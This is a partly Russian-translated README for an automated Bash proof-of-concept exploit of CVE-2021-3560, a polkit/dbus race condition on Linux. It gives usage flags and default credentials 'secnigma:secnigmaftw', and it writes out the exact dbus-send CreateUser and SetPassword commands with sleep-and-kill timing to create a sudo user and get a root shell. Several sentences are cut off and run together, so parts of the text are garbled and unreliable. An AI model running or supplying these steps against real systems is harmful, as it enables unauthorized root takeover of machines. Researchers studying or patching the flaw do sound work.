
Автоматизированный Bash PoC для повышения привилегий через polkit (CVE-2021-3560). Эксплуатирует состояние гонки по времени в dbus для создания пользователя sudo и получения оболочки root на уязвимых дистрибутивах Linux.
Это просто Bash-скрипт PoC, который автоматизирует шаги эксплуатации, описанные в блоге Кевина Бэкхауса. Прочитайте его статью об этой уязвимости: https://github.blog/2021-06-10-privilege-escalation-polkit-root-on-linux-with-bug/
USAGE:
./poc.sh
-h --help
-u=Enter custom username to insert (OPTIONAL)
-p=Enter custom password to insert (OPTIONAL)
-f=y, To skip vulnerability check and force exploitation. (OPTIONAL)
-t=Enter custom sleep time, instead of automatic detection (OPTIONAL)
Format to enter time: '-t=.004' or '-t=0.004' if you want to set sleep time as 0.004ms
Note:
Equal to symbol (=) after specifying an option is mandatory.
If you donot specify the options, then the script will automatically detect the possible time and
will try to insert a new user using that time.
Default credentials are 'secnigma:secnigmaftw'
If the exploit ran successfully, then you can login using 'su - secnigma'
and you can spawn a bash shell as root using 'sudo bash'
accountsservice и gnome-control-center, и должна быть установлена версия polkit 0.113 (или новее) ИЛИ 0-105-26 (форк Debian для polkit).Ubuntu 20.04 с версией polkit 0-105-26 (форк Debian) и на Centos 8 с версией polkit 0.115. Если вы уверены, что ваша цель уязвима, но функция проверки эксплойта не срабатывает, используйте флаг -f=y, чтобы пропустить все проверки и принудительно запустить эксплойт.Подробное объяснение и PoC для ручной эксплуатации приведены в блоге исследователя.
Краткое содержание этого эксплойта приведено ниже:
dbus-сообщение для вызова polkit, но резко оборвав запрос, пока polkit обрабатывает его. Затем злоумышленник может отправить второй запрос с уникальным идентификатором шины предыдущего запроса, чтобы выполнить запрос от UID 0, то есть root.polkit, потому что он обрабатывает UID соединения с идентификатором шины, который больше не существует, как запрос от UID 0. Это означает, что если мы правильно рассчитаем время атаки и завершим наш первый запрос в нужный момент, то сможем выполнить второй запрос с привилегиями UID 0, то есть root.Как я уже говорил, это просто bash-скрипт, который автоматизирует PoC Кевина Бэкхауса. Основные команды те же; я просто автоматизировал некоторые начальные шаги (например, правильный расчет времени, сканирование на уязвимость, вставку пользовательских учетных данных, красивый вывод цветов и т.д.).
Если этот скрипт запущен без параметров, то его поведение по умолчанию следующее:
/etc/os-release.]accountservice и gnome-control-center. [В rhel/centos/fedora использует rpm -qa, а в дистрибутивах debian/ubuntu использует dpkg -l.]rhel.centos,fedora и 0-105-26 для Debian/Ubuntu]bash time dbus-send --system --dest=org.freedesktop.Accounts --type=method_call --print-reply /org/freedesktop/Accounts org.freedesktop.Accounts.CreateUser string:`echo $username` string:"`echo $username`" int32:1 2>&1 >/dev/null su - <username>, используя пароль, переданный скрипту, а затем выполнить sudo bash, чтобы получить root-оболочку!Esc, чтобы закрыть запрос аутентификации, и Ctrl+C, чтобы быстро завершить скрипт.$t) вычисляется делением времени, необходимого для запроса, на 2. ($t=time-required-to-request/2) [Вычисляется с помощью awk]$t) запрос на вставку $username secnigma в целевую систему повторяется 20 раз. bash dbus-send --system --dest=org.freedesktop.Accounts --type=method_call --print-reply /org/freedesktop/Accounts org.freedesktop.Accounts.CreateUser string:`echo $username` string:"`echo $username`" int32:1 & sleep `echo $t`s ; kill $! id secnigma), генерируется хеш пароля с помощью команды: bash openssl passwd -5 `echo -n $password` . ($password=secnigmaftw)bash dbus-send --system --dest=org.freedesktop.Accounts --type=method_call --print-reply /org/freedesktop/Accounts/User`echo $u_id` org.freedesktop.Accounts.User.SetPassword string:`echo -n $hash1` string:GoldenEye & sleep `echo $ti`s ; kill $!